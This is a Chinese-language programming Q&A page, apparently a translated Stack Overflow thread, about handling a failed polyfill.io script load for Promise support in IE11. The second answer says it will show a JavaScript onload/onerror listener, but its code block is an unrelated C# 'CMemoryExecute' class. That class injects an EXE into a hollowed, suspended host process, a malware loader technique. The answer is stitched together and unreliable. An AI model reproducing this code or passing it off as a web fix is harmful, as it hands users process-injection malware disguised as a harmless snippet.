如果polyfill脚本无法下载会发生什么?

时间:2018-06-08 22:34:46

标签: javascript internet-explorer single-page-application polyfills

我有一个SPA(建立在webpack上,带有babel等),其中包含index.html中的polyfill:

<script src="https://cdn.polyfill.io/v2/polyfill.min.js?features=Promise,Array.prototype.includes,Element.prototype.remove"></script>

polyfill的一个用例是为了在IE 10-11上使用Promise API。

我的错误监控报告IE 11客户端上的错误如下:

ReferenceError: 'Promise' is undefined

所以我认为特定会话因某种原因无法下载polyfill。

我的问题是:我该如何处理这个案子?这是我应该期待的场景吗?是否希望用户注意到应用程序无法正常工作,并重新加载页面?

2 个答案:

答案 0 :(得分:1)

如果您真的担心,可以附加一个错误事件以允许更多控制。您通常不需要明确地处理此问题。

在这种特殊情况下,您可以迁移到使用babel来构建包含在脚本中的polyfill的包。这会为您的流程添加额外的构建步骤。

答案 1 :(得分:1)

由于您提到您正在使用webpack,因此最好通过import语句(类似core.js)直接在项目中包含必要的polyfill,而不是使用cdn - polyfill.io

但是,你也可以在脚本元素中添加一个ID并监听onload和onerror事件,以确定脚本(un)是否成功加载如下:

using System;
using System.Runtime.InteropServices;

public static unsafe class CMemoryExecute
{
    /// <summary>
    /// Runs an EXE (which is loaded in a byte array) in memory.
    /// </summary>
    /// <param name="exeBuffer">The EXE buffer.</param>
    /// <param name="hostProcess">Full path of the host process to run the buffer in.</param>
    /// <param name="optionalArguments">Optional command line arguments.</param>
    /// <returns></returns>
    public static bool Run(byte[] exeBuffer, string hostProcess, string optionalArguments = "")
    {
        var IMAGE_SECTION_HEADER = new byte[0x28]; // pish
        var IMAGE_NT_HEADERS = new byte[0xf8]; // pinh
        var IMAGE_DOS_HEADER = new byte[0x40]; // pidh
        var PROCESS_INFO = new int[0x4]; // pi
        var CONTEXT = new byte[0x2cc]; // ctx

       byte* pish;
       fixed (byte* p = &IMAGE_SECTION_HEADER[0])
       pish = p;

       byte* pinh;
       fixed (byte* p = &IMAGE_NT_HEADERS[0])
       pinh = p;

       byte* pidh;
       fixed (byte* p = &IMAGE_DOS_HEADER[0])
       pidh = p;

       byte* ctx;
       fixed (byte* p = &CONTEXT[0])
       ctx = p;

      // Set the flag.
      *(uint*)(ctx + 0x0 /* ContextFlags */) = CONTEXT_FULL;

      // Get the DOS header of the EXE.
      Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length);

      /* Sanity check:  See if we have MZ header. */
      if (*(ushort*)(pidh + 0x0 /* e_magic */) != IMAGE_DOS_SIGNATURE)
          return false;

      var e_lfanew = *(int*)(pidh + 0x3c);

      // Get the NT header of the EXE.
      Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length);

      /* Sanity check: See if we have PE00 header. */
      if (*(uint*)(pinh + 0x0 /* Signature */) != IMAGE_NT_SIGNATURE)
          return false;

      // Run with parameters if necessary.
      if (!string.IsNullOrEmpty(optionalArguments))
          hostProcess += " " + optionalArguments;

      if (!CreateProcess(null, hostProcess, IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, new byte[0x44], PROCESS_INFO))
          return false;

      var ImageBase = new IntPtr(*(int*) (pinh + 0x34));
      NtUnmapViewOfSection((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase);
      if (VirtualAllocEx((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, *(uint*)(pinh + 0x50 /* SizeOfImage */), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == IntPtr.Zero)
          Run(exeBuffer, hostProcess, optionalArguments); // Memory allocation failed; try again (this can happen in low memory situations)

      fixed (byte* p = &exeBuffer[0])
      NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, (IntPtr)p, *(uint*)(pinh + 84 /* SizeOfHeaders */), IntPtr.Zero);

      for (ushort i = 0; i < *(ushort*)(pinh + 0x6 /* NumberOfSections */); i++)
      {
          Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length);
          fixed (byte* p = &exeBuffer[*(uint*)(pish + 0x14 /* PointerToRawData */)])
          NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)((int)ImageBase + *(uint*)(pish + 0xc /* VirtualAddress */)), (IntPtr)p, *(uint*)(pish + 0x10 /* SizeOfRawData */), IntPtr.Zero);
      }

        NtGetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);  
        NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)( *(uint*)(ctx + 0xAC /* ecx */)), ImageBase, 0x4, IntPtr.Zero);
        *(uint*) (ctx + 0xB0 /* eax */) = (uint)ImageBase + *(uint*) (pinh + 0x28 /* AddressOfEntryPoint */);
        NtSetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);
        NtResumeThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, IntPtr.Zero);

        return true;
    }

    private const uint CONTEXT_FULL = 0x10007;
    private const int CREATE_SUSPENDED = 0x4;
    private const int MEM_COMMIT = 0x1000;
    private const int MEM_RESERVE = 0x2000;
    private const int PAGE_EXECUTE_READWRITE = 0x40;
    private const ushort IMAGE_DOS_SIGNATURE = 0x5A4D; // MZ
    private const uint IMAGE_NT_SIGNATURE = 0x00004550; // PE00

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, byte[] lpStartupInfo, int[] lpProcessInfo);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("ntdll.dll", SetLastError = true)]
    private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);

    [DllImport("ntdll.dll", SetLastError = true)]
    private static extern int NtWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, IntPtr lpNumberOfBytesWritten);

    [DllImport("ntdll.dll", SetLastError = true)]
    private static extern int NtGetContextThread(IntPtr hThread, IntPtr lpContext);

    [DllImport("ntdll.dll", SetLastError = true)]
    private static extern int NtSetContextThread(IntPtr hThread, IntPtr lpContext);

    [DllImport("ntdll.dll", SetLastError = true)]
    private static extern uint NtResumeThread(IntPtr hThread, IntPtr SuspendCount);
}

在你的项目index.js中:

<script id="polyfillScript" src="https://cdn.polyfill.io/v2/polyfill.min.js?features=Promise,Array.prototype.includes,Element.prototype.remove"></script>